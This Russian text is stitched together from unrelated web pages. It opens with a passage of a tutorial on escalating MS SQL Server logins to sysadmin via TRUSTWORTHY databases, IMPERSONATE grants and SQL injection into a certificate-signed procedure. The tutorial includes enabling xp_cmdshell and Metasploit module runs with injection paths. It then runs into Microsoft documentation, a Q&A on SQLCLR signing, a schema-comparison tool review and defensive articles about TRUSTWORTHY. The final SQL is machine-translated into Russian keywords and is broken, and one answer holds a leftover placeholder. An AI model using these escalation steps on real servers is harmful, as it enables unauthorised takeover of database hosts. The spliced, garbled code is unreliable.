Но начнем с самого начала. Для большей наглядности этого вектора опишу весь этап еще на стадии конфигурации базы и учетных записей. Создаем новую базу YOLO: CREATE DATABASE YOLO;. Создаем нового пользователя bob с паролем marley: CREATE LOGIN bob WITH PASSWORD = 'marley'; Назначаем пользователя bob владельцем базы YOLO:

USE YOLO
ALTER LOGIN [bob] with default_database = [YOLO];
CREATE USER [bob] FROM LOGIN [bob];
EXEC sp_addrolemember [db_owner], [bob];

Затем устанавливаем свойство TRUSTWORTHY, которое определяет, разрешать ли объектам данной базы (представлениям, пользовательским функциям, хранимым процедурам) обращаться к объектам за пределами данной базы в режиме имперсонации: ALTER DATABASE YOLO SET TRUSTWORTHY ON. Логинимся в SQL Server под учеткой bob:marley.

Создаем хранимую процедуру для присвоения учетной записи bob привилегий sysadmin:

USE YOLO
GO
CREATE PROCEDURE sp_lvlup
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'bob','sysadmin'
GO

Убедимся, что до исполнения хранимой процедуры мы не имеем привилегий sysadmin:

SELECT is_srvrolemember('sysadmin')
результат = 0

Выполним созданную выше хранимую процедуру sp_lvlup:

USE YOLO
EXEC sp_lvlup

И опять проверим наши привилегии:

SELECT is_srvrolemember('sysadmin')
результат = 1

Процедура sp_lvlup создана для запуска от имени OWNER, что в данном случае является админской учетной записью sa. Это возможно, потому что db_owner создал хранимую процедуру для своей базы, а эта база сконфигурирована как надежная, то есть свойство TRUSTWORTHY = On. Без этого свойства не удалось бы исполнить процедуру из-за нехватки привилегий. Активированное свойство TRUSTWORTHY — это не всегда плохо. Проблемы начинаются, когда администраторы не понижают привилегии владельцам баз. В итоге учетной записи bob после исполнения процедуры sp_lvlup присвоены привилегии sysadmin. Чтобы посмотреть, у каких баз активировано свойство TRUSTWORTHY, можно воспользоваться следующим запросом:

SELECT name, database_id, is_trustworthy_on FROM sys.databases

Или для автоматизации всего процесса можно использовать модуль для Метасплоита mssql_escalate_dbowner_sqli:

use auxiliary/admin/mssql/mssql_escalate_dbowner_sqli
set rhost 172.16.2.104
set rport 80
set GET_PATH /login.asp?id=1+and+1=[SQLi];--
exploit
...
[+] 172.16.2.104:80 - Success! Bob is now a sysadmin!

Повышение привилегий. User Impersonation

Следующий вектор имеет название User Impersonation. Иногда хранимым процедурам необходим доступ к внешним ресурсам, находящимся за пределами базы приложения. Чтобы это реализовать, разработчики используют привилегии IMPERSONATE и функцию EXECUTE AS, позволяющие выполнить запрос от имени другой учетной записи. Это не уязвимость как таковая, а скорее слабая конфигурация, приводящая к эскалации привилегий.

Как и в предыдущем примере, начнем разбирать суть вектора еще на стадии конфигурации. Первым делом создаем четыре учетные записи:

CREATE LOGIN User1 WITH PASSWORD = 'secret';
CREATE LOGIN User2 WITH PASSWORD = 'secret';
CREATE LOGIN User3 WITH PASSWORD = 'secret';
CREATE LOGIN User4 WITH PASSWORD = 'secret';

Затем даем пользователю User1 привилегии исполнять запросы от имени sa, User2, User3:

USE master;
GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
GO

Логинимся в SQL Server под учетной записью User1 и проверяем, применились ли привилегии исполнять запросы от других учетных записей.

SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'

Теперь проверим текущие привилегии:

SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 0

Ну а сейчас собственно сам трюк — выполним запрос от имени sa, так как выше мы дали привилегии учетной записи User1 выполнять запросы от имени sa:

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
Результат = 1

Все в порядке, теперь можем выполнять команды от имени sa, а значит, можно включить хранимую процедуру xp_cmdshell:

EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

INFO

Учетная запись sysadmin по умолчанию может выполнять запросы от имени любых других пользователей. Вывести таблицу со всеми пользователями тебе поможет запрос: SELECT * FROM master.sys.sysusers WHERE islogin = 1. Для выполнения запроса от имени другой учетной записи используй EXECUTE AS LOGIN = 'AnyUser'. Чтобы вернуться снова к предыдущей учетной записи, достаточно выполнить запрос REVERT.

Вот и весь фокус. Для автоматизации, как обычно, можно воспользоваться модулем Метасплоита mssql_escalete_executeas_sqli:

use auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex
set rhost 172.16.2.104
set rport 80
set GET_PATH /login.asp?id=1+and+1=[SQLi];--
exploit
...
[+] 172.16.2.104:80 - Success! User1 is now a sysadmin!

Повышение привилегий. Хранимые процедуры, подписанные сертификатом

Для описания данного вектора создадим уязвимую хранимую процедуру, подписанную сертификатом. В отличие от предыдущих примеров, для эскалации привилегий необязательны:

• свойство TRUSTWORTHY = On;

• привилегии IMPERSONATE и функция EXECUTE AS;

• конфигурация хранимой процедуры с классом WITH EXECUTE AS для ее выполнения от имени другой учетной записи.

Создадим учетную запись с минимальными правами:

CREATE LOGIN tor WITH PASSWORD = 'loki';
GO
-- Set login’s default database
ALTER LOGIN [tor] with default_database = [master];
GO

Выключим свойство TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF. И создадим простую хранимую процедуру sp_xxx, которая будет выводить столбец name из базы tempdb, а также из базы, которую ввел пользователь:

USE MASTER;
GO
CREATE PROCEDURE sp_xxx
@DbName varchar(max)
AS    
BEGIN
Declare @query as varchar(max)
SET @query = 'SELECT name FROM master..sysdatabases where name like ''%'+ @DbName+'%'' OR name=''tempdb''';
EXECUTE(@query)
END
GO

После этого создадим ключ шифрования для базы MASTER:

CREATE MASTER KEY ENCRYPTION BY PASSWORD = 'secret';
GO

И сертификат:

CREATE CERTIFICATE sp_xxx_cert
WITH SUBJECT = 'To sign the sp_xxx',
EXPIRY_DATE = '2035-01-01';
GO

Следующим шагом создаем логин из сертификата sp_xxx:

CREATE LOGIN sp_xxx_login
FROM CERTIFICATE sp_xxx_cert

И подпишем процедуру созданным сертификатом:

ADD SIGNATURE to sp_xxx
BY CERTIFICATE sp_xxx_cert;
GO

Присвоим логину sp_lvlup2 привилегии sysadmin:

EXEC master..sp_addsrvrolemember @loginame = N'sp_xxx_login', @rolename = N'sysadmin'
GO

Даем привилегии членам группы PUBLIC исполнять процедуру:

GRANT EXECUTE ON sp_xxx to PUBLIC

В итоге мы создали пользователя tor с минимальными правами, хранимую процедуру sp_xxx, которая выводит имя введенной базы, создали сертификат sp_xxx_cert и подписали им хранимую процедуру, а также создали логин sp_xxx_login из сертификата и дали ему привилегии sysadmin. На этом подготовительная часть закончена. Логинимся учетной записью tor и вызываем хранимую процедуру:

EXEC MASTER.dbo.sp_xxx 'master'

Как и положено, она вернет нам имя указанной нами БД — master и tempdb (см. рис. 3).

Рис. 3. Результат выполнения запроса EXEC MASTER.dbo.sp_xxx ‘master’

Запрос вида EXEC MASTER.dbo.sp_sqli2 'master''--' вернет уже только master (см. рис. 4).

Рис .4. Результат выполнения запроса EXEC MASTER.dbo.xxx ‘master»—‘

Отлично. Это означает, что хранимая процедура подвержена SQL-инъекции. Проверим наши привилегии с помощью следующего запроса:

EXEC MASTER.dbo.sp_xxx 'master'';SELECT is_srvrolemember(''sysadmin'')as priv_certsp--';

Рис. 5. Проверяем наши привилегии через уязвимую хранимую процедуру

priv_cersp=1(см. рис. 5) означает, что мы имеем привилегии sysadmin. Выполнить команду EXEC master..xp_cmdshell 'whoami'; не получится, потому что у учетной записи tor минимальные права, но если этот запрос внедрить в SQL-инъекцию, то все сработает (рис. 6).

Рис.6. Проверяем свои привилегии в системе

Что самое интересное, такой трюк будет работать в версиях 2005–2014.

Заключение

Разница во всех этих векторах весьма существенна. В некоторых случаях для достижения цели можно ограничиться включенным свойством TRUSTWORTHY, позволяющим использовать ресурсы данной базы объектам, находящимся вне, для того чтобы создать и исполнить хранимую процедуру, повышающую привилегии. Где-то можно выполнять хранимые процедуры от имени других учетных записей благодаря наличию привилегий IMPERSONATE и функции EXECUTE AS, а в третьих случаях важно лишь наличие SQL-инъекции, через которую можно внедрить запрос, и он будет исполнен от имени другой учетной записи. Для полного понимания нюансов и тонкостей я бы советовал проверить эти векторы на своей локальной машине.

В статье не дано исчерпывающее изложение всех векторов атак на СУБД MS SQL, но для поверхностного анализа защищенности она будет весьма полезна. Также рекомендую ознакомиться с другим вектором взлома через DB link’и, который описал Алексей Тюрин в декабрьском номере ][ (#191) в разделе Easy Hack. На этом все, благодарю за внимание и до новых встреч.

sql-docs.ru-ru/set-up-a-mirror-database-to-use-the-trustworthy-property-transact-sql.md at live · MicrosoftDocs/sql-docs.ru-ru · GitHub

sql-docs.ru-ru/set-up-a-mirror-database-to-use-the-trustworthy-property-transact-sql.md at live · MicrosoftDocs/sql-docs.ru-ru · GitHub

Permalink

Cannot retrieve contributors at this time

86 lines (60 sloc)

6.71 KB

[!INCLUDE SQL Server]
При резервном копировании базы данных ее свойство TRUSTWORTHY принимает значение OFF. Поэтому в новой зеркальной базе данных оно всегда будет иметь значение OFF. Если для базы данных после отработки отказа с переходом на другой ресурс требуется доверие, это потребует дополнительных действий по настройке после начала зеркального отображения.

[!NOTE]
Дополнительные сведения об этом свойстве базы данных см. в разделе Свойство базы данных TRUSTWORTHY.

Процедура

Настройка зеркальной базы данных на использование свойства TRUSTWORTHY

1. На основном экземпляре сервера необходимо убедиться, что свойство TRUSTWORTHY основной базы данных включено.

   SELECT name, database_id, is_trustworthy_on FROM sys.databases   
   

   Дополнительные сведения см. в разделе sys.databases (Transact-SQL).

2. После начала зеркального отображения базы данных необходимо убедиться, что в этот момент база данных является основной, в сеансе используется синхронный режим работы и что сеанс уже синхронизирован.

   SELECT database_id, mirroring_role, mirroring_safety_level_desc, mirroring_state_desc FROM sys.database_mirroring  
   

   Дополнительные сведения см. в разделе sys.database_mirroring (Transact-SQL).

3. Как только завершится синхронизация сеанса зеркального отображения, вручную переключитесь к зеркальной базе данных.

   Сделать это можно в среде SQL Server Management Studio или при помощи Transact-SQL:

4. Следующей командой ALTER DATABASE включите свойство TRUSTWORTHY для базы данных:

   ALTER DATABASE <database_name> SET TRUSTWORTHY ON  
   

   Дополнительные сведения см. в разделе ALTER DATABASE (Transact-SQL).

5. При необходимости можно вручную выполнить отработку отказа, чтобы вернуться к исходному участнику.

6. Кроме того, можно переключиться в асинхронный режим высокой производительности, для чего свойство SAFETY следует установить в значение OFF и проверить, что свойство WITNESS также установлено в значение OFF.

   На языке Transact-SQL:

   В среде SQL Server Management Studio:

См. также:

Свойство базы данных TRUSTWORTHY
Настройка зашифрованной зеркальной базы данных

You can’t perform that action at this time.

You signed in with another tab or window. Reload to refresh your session.
You signed out in another tab or window. Reload to refresh your session.

sql-server — SQLCLR — Как я могу зарегистрировать ссылочные сборки моей сборки CLR, не устанавливая TRUSTWORTHY ON?

У меня возникла проблема с регистрацией ссылочных сборок, которые я использовал в своей сборке SQL CLR. Например, у меня есть сборка SQL CLR с именем Something.dll. Этот Something.dll ссылается на Newtonsoft.dll.

Я подписываю Something.dll, а затем создаю асимметричный ключ, чтобы зарегистрировать его в PERMISSION_SET = EXTERNAL_ACCESS. Однако я не могу подписать ссылочную сборку, поэтому SQL Server не позволяет мне зарегистрировать ее с разрешениями UNSAFE или EXTERNAL_ACCESS без установки TRUSTWORTHY ON.

Есть ли способ зарегистрировать Newtonsoft.dll без установки TRUSTWORTHY ON?

3

OZ1903

12 Апр 2018 в 19:23

2 ответа

Лучший ответ

Вы можете подписать указанную сборку (-ы) с помощью сертификата, который вы создаете, загрузить этот сертификат в SQL Server, прежде чем пытаться создать сборку в SQL Server, создать имя входа из сертификата и предоставить этому входу желаемое разрешение либо { {X0}} или UNSAFE ASSEMBLY. Фактически, использование этого же сертификата для вашей собственной сборки позволит загружать его из буквенной / шестнадцатеричной строки байтов VARBINARY вместо того, чтобы требовать DLL в файловой системе, что означает, что это решение будет отлично работать в SQL.
create_MyProject_script.sql 40

USE [master];

CREATE CERTIFICATE [MySqlclrStuff]
FROM BINARY = 0x{contents_of_create_certificate_script.sql};

CREATE LOGIN [MySqlclrStuff]
FROM CERTIFICATE [MySqlclrStuff];

GRANT UNSAFE ASSEMBLY TO [MySqlclrStuff];

USE [SomeDB];

CREATE ASSEMBLY [Newtonsoft]
FROM 0x{contents_of_create_Newtonsoft_script.sql}
WITH PERMISSION_SET = UNSAFE;

CREATE ASSEMBLY [MyProject]
FROM 0x{contents_of_create_MyProject_script.sql}
WITH PERMISSION_SET = UNSAFE;

Если вы хотите узнать, как автоматизировать это в Visual Studio / SSDT, ознакомьтесь со следующим сообщением в моем блоге, в котором подробно описано, как это сделать:

SQLCLR против SQL Server 2017, часть 3: «Строгая безопасность среды CLR» — решение 2

1

Solomon Rutzky
12 Апр 2018 в 17:54

Вы можете использовать сертификаты вместо асимметричных ключей. Дополнительную информацию см. В моем сообщении в блоге здесь.

/ Нильс

0

Niels Berglund
12 Апр 2018 в 17:22

49801571

Инструменты сравнения схемы баз данных | Windows IT Pro/RE

Существует целый ряд решений для сравнения данных и схем баз данных. За годы практики мне пришлось работать с несколькими такими инструментами. .

План тестирования

Для тестирования было решено использовать базу данных AdventureWorks2008 R2, так как в ней удачно используется широкий диапазон решений, которые нечасто применяются в большинстве баз данных, в том числе несколько схем, расширенные свойства, триггеры языка определения данных (DDL), коллекции схем XML и полнотекстовые индексы. Чтобы углубить исследование и выяснить предельные возможности инструментов, я несколько усложнил задачу и сделал следующее:

• создал сертификат в базе данных;
• подготовил хранимую процедуру и подписал ее с использованием сертификата;
• импортировал сертификат в главную базу данных, сформировал из него имя входа и создал учетную запись пользователя в базе данных AdventureWorks2008 R2, сопоставленного пользователю сертификата;
• создал небезопасную сборку CLR и процедуру CLR;
• изменил свойство Trustworthy базы данных, чтобы разрешить небезопасную сборку CLR;
• создал очередь, маршрут и службу Service Broker, а также уведомление о событиях;
• выбрал экземпляр для сравнения схем без установленного полнотекстового механизма, чтобы вызвать отказ полнотекстовых индексов.

Я создал четыре пустые базы данных во втором экземпляре, по одному для каждого инструмента. Для всех инструментов использовалась одна и та же исходная база данных. С помощью каждого инструмента выполнялось инспектирование схемы базы данных, вывод некоторых сценариев и отчетов и синхронизация объектов базы данных. После синхронизации объектов базы данных с использованием каждого инструмента я анализировал базы данных, синхронизированные посредством других инструментов, чтобы проверить способность продуктов обнаруживать объекты, пропущенные конкурентами.

SQL Compare 9.0

SQL Compare 9.0
ЗА: интуитивно-понятный, простой в использовании инструмент; мощная функциональность.
ПРОТИВ: неудобно обращаться с объектами.
ОЦЕНКА: 3 из 5.
ЦЕНА: от 395 долл.; 595 долл. за версию SQL Compare Professional; оптовые скидки.
РЕКОМЕНДАЦИИ: у SQL Compare есть ряд уникальных возможностей, но в целом функциональность других инструментов более широкая.
КОНТАКТНАЯ ИНФОРМАЦИЯ: Red Gate Software, www.red-gate.com

Первым испытанным мною инструментом был SQL Compare 9.0. Установка прошла довольно просто и быстро. Но загрузив инструмент, я почувствовал, что компания слишком активно продвигает другие свои продукты. Мне был предложен вариант загрузки всего комплекса SQL Toolbelt, но я перешел на страницу SQL Compare и загрузил лишь один инструмент. К сожалению, это не помогло перейти напрямую к установке SQL Compare. По умолчанию устанавливаются все приложения комплекса SQL Toolbelt. Мне пришлось пройти по списку на трех страницах и отменить выбор всех инструментов, кроме единственного нужного мне. Тем не менее у меня нет особенных претензий к установке: она прошла довольно быстро, и такой подход был бы полезным при необходимости загрузить несколько инструментов или даже SQL Toolbelt целиком.

При первом запуске SQL Compare 9.0 на экране появилось интуитивно понятное и простое для использования диалоговое окно. Мне удалось немедленно приступить к сравнению баз данных, не тратя времени на изучение продукта. Результаты сравнения поначалу казались простыми и понятными (см. экран 1).

На следующих этапах труднее понять, как выполнить некоторые действия. В частности, сложно преодолеть ошибки для полнотекстовых индексов. Полнотекстовые индексы не были перечислены в списке объектов в выводе. Я удалил полнотекстовые каталоги из вывода с помощью фильтров, но это не повлияло на вывод. В конце концов я понял, что можно настроить параметр проекта, чтобы игнорировать полнотекстовые индексы, и это единственный способ удалить их из результатов. Изменение параметров проекта связано с повторным запуском сравнения для получения нового набора результатов.

Удобство SQL Compare для выполнения сравнения впечатляет, но после сравнения удобство и функциональность не столь хороши. SQL Compare обеспечивает сравнение баз данных, резервных копий баз данных и сценариев схемы базы данных, сохраненных в папке или системе управления версиями. Имеется надстройка среды SQL Server Management Studio (SSMS) для добавления функциональности SQL Compare непосредственно в SSMS. К недостаткам относится то, что при необходимости отфильтровать определенные объекты из результатов прямого способа их удаления не существует. Чтобы удалить такой объект, как отфильтрованные индексы, требуется изменить параметры проекта, после чего приходится перезапустить сравнение. Более того, в процессе синхронизации не удается синхронизировать объекты некоторых типов, в частности CLR, подписанные процедуры и сертификаты. И очень досадно, что нельзя дополнить сформированные сценарии проверками наличия.

ApexSQL Diff

ApexSQL Diff
ЗА: гибкая настройка; богатая функциональность; изменение параметров проекта без перезапуска сравнения.
ПРОТИВ: нет режима резервного копирования моментальных снимков; не поддерживает подписанные процедуры и сертификаты; программа несколько перегружена функциями.
ОЦЕНКА: 4 из 5.
ЦЕНА: 99 долл. для одного пользователя; предоставляются оптовые скидки.
РЕКОМЕНДАЦИИ: функциональность ApexSQL Diff из четырех инструментов наиболее привлекательна; у продукта есть несколько минусов, но их легко обойти; рекомендую этот инструмент администраторам, которые нуждаются в широкой функциональности.
КОНТАКТНАЯ ИНФОРМАЦИЯ: ApexSQL, www.apexsql.com

ApexSQL Diff — инструмент, работать с которым удобно без дополнительной настройки. Программа открывается диалоговым окном, простым и интуитивно понятным. Результаты сравнения более полные, чем у других инструментов, что позволило точнее установить, какие аспекты объектов определяются сценариями и были синхронизированы. Я смог даже фильтровать результаты для каждого свойства каждого объекта и применять фильтр к результатам, не повторяя сравнения.

При первом просмотре результатов сравнения слегка разочаровало, что они сгруппированы по типу различий, из-за чего все объекты оказались сведены в три группы. При таком подходе труднее отыскать конкретные объекты среди результатов. Я быстро обнаружил параметры View и выяснил, что предусмотрены различные режимы просмотра, в том числе с группированием по типу объекта. Таким образом мне удалось получить именно такой вид, который был нужен. На экране 2 показаны результаты сравнения ApexSQL Diff, сгруппированные по типу различий.

Освоить ApexSQL Diff несколько сложнее, чем другие инструменты, но этот недостаток с лихвой компенсируется многочисленными функциями и гибкостью настроек. Главное достоинство мощных фильтров — возможность применять их динамически, что позволяет составлять сценарии для проверки наличия и продолжать или останавливать процесс синхронизации в случае ошибки. Один из наиболее привлекательных компонентов, отсутствующий в других инструментах, — панель Differences by Type, на которой можно точно установить отличия выбранного объекта, вместо того чтобы определять их на основе сценария. Пользоваться панелью было очень удобно в течение всего тестирования.

Процесс синхронизации сопровождался большим количеством ошибок, так как определяемые пользователем объекты и схемы были созданы в неверном порядке. Отчеты и сценарии для зависимых объектов не всегда корректны. Например, о процедуре всего с двумя зависимостями сообщалось, что у нее 81 зависимость. Сценарии для всех выглядели так, как будто я хотел охватить зависимые объекты. Мне нравится обилие функций в инструменте, но из-за них рабочая область выглядела перегруженной. Слишком много мелких панелей, часть из которых содержит избыточную функциональность другой панели в рабочей области.

xSQL Object

xSQL Object
ЗА: режим командной строки; возможность сохранить все серверы и базы данных; удобные для чтения и визуально привлекательные отчеты; простота использования.
ПРОТИВ: нет функции резервного копирования, только резервные копии моментальных снимков; сложность освоения; не поддерживаются сертификаты и подписанные процедуры.
ОЦЕНКА: 3,5 из 5.
ЦЕНА: от 299 долл. для одного пользователя без инструмента командной строки и 399 долл. с инструментом командной строки; предоставляются оптовые скидки.
РЕКОМЕНДАЦИИ: xSQL Object — самый простой в использовании инструмент, и благодаря ряду уникальных функций он явно выделяется среди конкурентов; рекомендуется администраторам, для которых удобство использования — решающий фактор.
КОНТАКТНАЯ ИНФОРМАЦИЯ: xSQL Software, www.xsqlsoftware.com

Единственный совершенно новый для меня инструмент в этом обзоре — xSQL Object. Я получил крайне любопытные отзывы о нем и решил включить в исследование, хотя, в отличие от трех других продуктов, он не получил многочисленных рекомендаций.

Первым ощущением после того, как я открыл инструмент, был легкий испуг. Передо мной был почти пустой экран, без малейшего намека на порядок дальнейших действий. Мне пришлось брести наугад, чтобы найти способ выполнить сравнение. Я вручную добавил базы данных и начал работу. В конце концов я научился запускать мастер сравнения, но так долго делал это вручную, что продолжал использовать ручной режим.

После того как я освоил запуск операции сравнения, меня приятно удивили результаты. Работать с ними гораздо проще, чем с результатами любых других инструментов; кроме того, визуально они самые привлекательные. Объекты разделяются по типу объекта, поэтому нужную информацию найти легко. Многочисленные уровни сводки результатов можно развернуть, чтобы выяснить различные аспекты объекта и свойств. Кроме того, можно отменить выбор объекта или свойств. Если нужно отменить выбор многих объектов, работать с инструментом утомительно, так как выполнить эту операцию можно только для отдельных объектов. Выбор целой группы объектов отменить нельзя. Панель результатов понятна и проста в использовании. На экране 3 показаны результаты сравнения для xSQL Object.

Одна из выдающихся функций — отчеты. Они есть во всех инструментах, но отчет xSQL Object легче читается и выглядит привлекательнее, чем у любого другого инструмента. Когда я впервые открыл xSQL Object, мне не понравился интерфейс программы, но в нем есть очень удачный компонент Server Explorer служб SSMS, с помощью которого можно зарегистрировать серверы и базы данных для сравнения. Эта функция будет очень полезна, если потребуется часто выполнять сравнение для различных серверов и баз данных.

Schema Compare в составе Visual Studio 2010

Visual Studio 2010Тs Schema Compare
ЗА: входит в состав Visual Studio; безупречная интеграция с проектами; более глубокое сравнение объектов, чем у других продуктов; инструмент командной строки для программного сравнения схем и создания сценариев изменения; поддержка SQLCmd; возможность создания отдельных сценариев для каждого объекта; полная поддержка подписанных процедур и назначение свойства Trustworthy для базы данных; сравнение файлов dbschema, баз данных и сценариев базы данных.
ПРОТИВ: не выпускается в качестве самостоятельного инструмента; требуется версия Visual Studio Ultimate или Premium; в интерфейсе отсутствуют некоторые функции.
ОЦЕНКА: 4 из 5.
ЦЕНА: обратитесь к розничному партнеру или специалисту по лицензированию.
РЕКОМЕНДАЦИИ: Schema Compare из пакета Visual Studio располагает рядом уникальных функций. Этот инструмент рекомендуется использовать обладателям Visual Studio 2010 Premium и Ultimate. Для остальных функциональность данного инструмента не оправдает затрат на приобретение Visual Studio.
КОНТАКТНАЯ ИНФОРМАЦИЯ: Microsoft, www.microsoft.com

Последний из протестированных инструментов сравнения баз данных — Schema Compare в составе Visual Studio 2010 Ultimate. Первоначально он был выпущен как часть пакета Visual Studio 2005 Team Edition for Database Professionals, а сейчас предоставляется в выпусках Visual Studio 2010 Premium и Ultimate. Он не распространяется как самостоятельный инструмент, но тем не менее работать с ним довольно просто. Большинство желающих применять инструмент сравнения уже используют Visual Studio как платформу разработки. Для них инструмент уже установлен и готов к применению.

Интерфейс Schema Compare не относится к интуитивно понятным и простым для использования. Выбирая параметры, чтобы выяснить, какие объекты можно отфильтровать, я с удивлением обнаружил, насколько широк диапазон действия инструмента. Программа сравнивает объекты в базе данных, свойства базы данных, в том числе физическую структуру, и определенные серверные объекты, которые могут влиять на базу данных, в частности серверные триггеры, аудиты сервера и членство в ролях сервера.

Выходные данные сравнения — простые и ясные. Панель результатов не переполнена функциями, но располагает всем необходимым. Объекты сгруппированы логически по типу объекта, а благодаря многочисленным уровням расширения видны любые различающиеся или совпадающие свойства и элементы объекта. Еще одна особенность, благодаря которой проще освоить инструмент: он является частью Visual Studio и потому имеет хорошо знакомый пользователям интерфейс. На экране 4 показаны результаты сравнения для Schema Compare.

Самое привлекательное качество Schema Compare — глубина сравнения. Это единственный из протестированных инструментов, который назначил свойство Trustworthy и успешно создал процедуру и сборку CLR без вмешательства со стороны пользователя. Кроме того, это единственный испытанный инструмент, который распознал, что одна из процедур была подписанной, и попытался подписать ее в процессе синхронизации. После того как сертификат был создан вручную, инструмент успешно подписал процедуру. Schema Compare — единственный из протестированных инструментов с возможностью запуска сценариев в SQLCmd.

Завершающее сравнение

После тестирования всех четырех инструментов сравнения баз данных я не мог выбрать явного победителя. Каждый инструмент располагал функциями и особенностями, которые делали его уникальным. Schema Compare из пакета Visual Studio 2010 — инструмент, применение которого можно обосновать исключительно платформой разработки. С точки зрения удобства использования наиболее привлекателен xSQL Object благодаря интерфейсу, похожему на Object Explorer, и простой структуре. Если выбирать по широте функциональности, то лучший инструмент — ApexSQL Diff. Единственный продукт, который не имеет явных преимуществ ни в одной категории, — SQL Compare 9.0. Выбирая инструмент, обращайте внимание на функции, наиболее актуальные для ваших целей.

Роберт Дэвис ([email protected]) — менеджер программы SQL Server Master Certification в Microsoft. Имеет сертификат SQL Server 2008 Certified Master

Поделитесь материалом с коллегами и друзьями

TRUSTWORTHY Свойство базы данных — SQL Server

• 14.03.2017
• 2 минуты на чтение

В этой статье

Применимо к: SQL Server (все поддерживаемые версии)

Свойство базы данных TRUSTWORTHY используется, чтобы указать, доверяет ли экземпляр SQL Server базе данных и ее содержимому.По умолчанию этот параметр выключен, но его можно установить в положение ON с помощью оператора ALTER DATABASE. Например, ALTER DATABASE AdventureWorks2012 SET TRUSTWORTHY ON; .

Примечание

Чтобы установить этот параметр, вы должны быть членом фиксированной серверной роли sysadmin .

Это свойство можно использовать для уменьшения определенных угроз, которые могут существовать в результате присоединения базы данных, содержащей один из следующих объектов:

Обе эти ситуации требуют определенной степени привилегий и защищены соответствующими механизмами, когда они используются в контексте базы данных, которая уже подключена к экземпляру SQL Server.Однако, если база данных переводится в автономный режим, пользователь, имеющий доступ к файлу базы данных, потенциально может присоединить его к экземпляру SQL Server по своему выбору и добавить вредоносный контент в базу данных. Когда базы данных отсоединяются и присоединяются в SQL Server, для файлов данных и журналов устанавливаются определенные разрешения, которые ограничивают доступ к файлам базы данных.

Поскольку базе данных, подключенной к экземпляру SQL Server, нельзя сразу доверять, базе данных не разрешается доступ к ресурсам, выходящим за пределы базы данных, до тех пор, пока база данных не будет явно отмечена как заслуживающая доверия.Таким образом, если вы выполняете резервное копирование или отсоединение базы данных с включенной опцией TRUSTWORTHY и присоединяете или восстанавливаете базу данных к тому же или другому экземпляру SQL Server, свойство TRUSTWORTHY будет установлено в OFF после завершения присоединения / восстановления. Кроме того, модули, предназначенные для доступа к ресурсам вне базы данных, и сборки с разрешением EXTERNAL_ACCESS и UNSAFE имеют дополнительные требования для успешной работы.

Связанное содержимое

Центр безопасности для ядра СУБД SQL Server и базы данных SQL Azure

ИЗМЕНЕНИЕ БАЗЫ ДАННЫХ (Transact-SQL)

Осторожно с надежной настройкой — Simple Talk

Настройка надежной базы данных — простое решение некоторых проблем на сервере, особенно перекрестного доступа к базам данных.Однако в некоторых сценариях этот параметр также создает проблемы с безопасностью.

Сценарий взлома системы безопасности следующий:

1. Одна или несколько баз данных принадлежат пользователю с правами «системного администратора». Если базы данных были созданы «системным администратором» и после этого владелец не изменился, это произойдет
2. Некоторые учетные записи, которые не являются «системным администратором», были включены в роль базы данных «db_owner» некоторых баз данных, но не всех.
3. Параметр надежности включен для этих баз данных, принадлежащих «системному администратору» и с одним или несколькими входами в систему с ролью базы данных «db_owner».

Взлом безопасности: Пользователи с ролью базы данных «db_owner» могут включить себя в роль сервера «Системный администратор» и взять на себя управление сервером.

Давайте посмотрим на пример.

Если вы полностью не уверены, что это нарушение безопасности не будет проблемой для вашей среды, вам не следует включать надежность.Вместо включения надежности вы можете использовать сертификаты для подписи модулей, таких как хранимые процедуры, и добиться того же результата с большей безопасностью.

Риски безопасности установки trustworthy = on в sql server 2012

Свойство TRUSTWORTHY базы данных (когда установлено значение ON ) по существу объявляет SQL Server, что коду, содержащемуся в этой базе данных и выполняющемуся в олицетворенном контексте, должно быть разрешено выходить за пределы этой базы данных при сохранении этой олицетворенной безопасности. контекст.Он также позволяет для всех сборок SQLCLR в этой базе данных быть установленными на EXTERNAL_ACCESS и UNSAFE , независимо от того, выходит ли этот код за пределы сервера (вне значения: доступ к сети, доступ к файловой системе, доступ к реестру, доступ к среде , так далее).

Это довольно общее средство, позволяющее это сделать, поскольку оно охватывает весь код в базе данных. Использование сертификатов и / или асимметричных ключей для подписи модулей — процессов и / или сборок — позволяет более детально контролировать, какой код имеет какие разрешения.

Установка для базы данных значения TRUSTWORTHY также позволяет любому процессу, запускаемому в этой базе данных, достигать уровня сервера и / или переходить к другим базам данных. Обычно процесс ограничивается / помещается в карантин в базе данных, в которой он был запущен. Если база данных принадлежит логину «sa», то любой процесс, инициированный в этой базе данных и работающий как «dbo», будет фактически иметь привилегии «sa» (yikes!).

Вместо того, чтобы пытаться описать здесь объем деталей, необходимых для полного раскрытия специфики олицетворения, расширения указанного олицетворения, модулей подписи и т. Д., Я рекомендую просмотреть следующие ресурсы по этой теме:

По возможности старайтесь не устанавливать для своей базы данных значение TRUSTWORTHY .Если вам действительно нужны многопоточные / асинхронные вызовы И если у вас есть исходный код и вы компилируете сборку, то я не могу придумать причины для использования опции SET TRUSTWORTHY ON . Вместо этого вы должны подписать сборку паролем и использовать следующие команды для настройки предпочтительного метода разрешения сборок EXTERNAL_ACCESS и UNSAFE :

  USE [мастер];
  СОЗДАТЬ АСИММЕТРИЧНЫЙ КЛЮЧ [ClrPermissionsKey]
    АВТОРИЗАЦИЯ [dbo]
    FROM EXECUTABLE FILE = 'C: \ path \ to \ my \ assembly.dll ';

СОЗДАТЬ ВХОД [ClrPermissionsLogin]
  ОТ АСИММЕТРИЧНОГО КЛЮЧА [ClrPermissionsKey];

ПРЕДОСТАВЛЯЙТЕ НЕБЕЗОПАСНУЮ СБОРКУ [ClrPermissionsLogin];
  

После этого вы можете перейти к базе данных, в которую была загружена ваша сборка, и запустить:

